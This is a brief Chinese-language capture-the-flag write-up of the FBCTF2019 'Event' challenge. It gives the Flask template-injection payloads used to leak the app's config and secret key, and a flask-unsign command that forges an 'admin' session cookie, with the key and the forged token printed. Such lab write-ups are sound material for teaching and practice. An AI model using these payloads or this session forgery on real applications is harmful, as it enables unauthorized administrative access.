[FBCTF2019]Event
最后更新于
最后更新于
Flask SSTI
Flask SSTI 获取config
Flask session伪造
flask-unsign
使用
提示登录注册,随便输然后看到是添加event的功能。先看看cookie吧
user
不知道是什么加密,用flask-unsign
只得到了aaaa
,这是我的登录名
events_sesh_cookie
使用flask-unsign
看到内容如下
三个输入都可控,三个位置都试试SSTI,fuzz了一下发现__init__,__class__,__dict__
有回显
__class__.__mro__[3].__subclasses__()
提示302,使用__class__.__init__.__globals__['app']
不行,再用__class__.__init__.__globals__[app]
也不行,不知道是不是过滤了关键字,
考虑从config信息中获取secret_key,然后进行session伪造,使用__class__.__init__.__globals__[app].config
获取config
信息
__class__.__init__.__globals__[app].__dict__
可以获取更多flask app的信息
再用flask-unsign加密flask-unsign.exe --secret "fb+wwn!n1yo+9c(9s6!_3o#nqm&&_ej$tez)$_ik36n8d7o6mr#y" --sign --cookie "admin"
得到ImFkbWluIg.YmP6Ag.7E8dA-A3bqO-TSTpfx76Qo7wdDo
修改cookie中的user字段即可。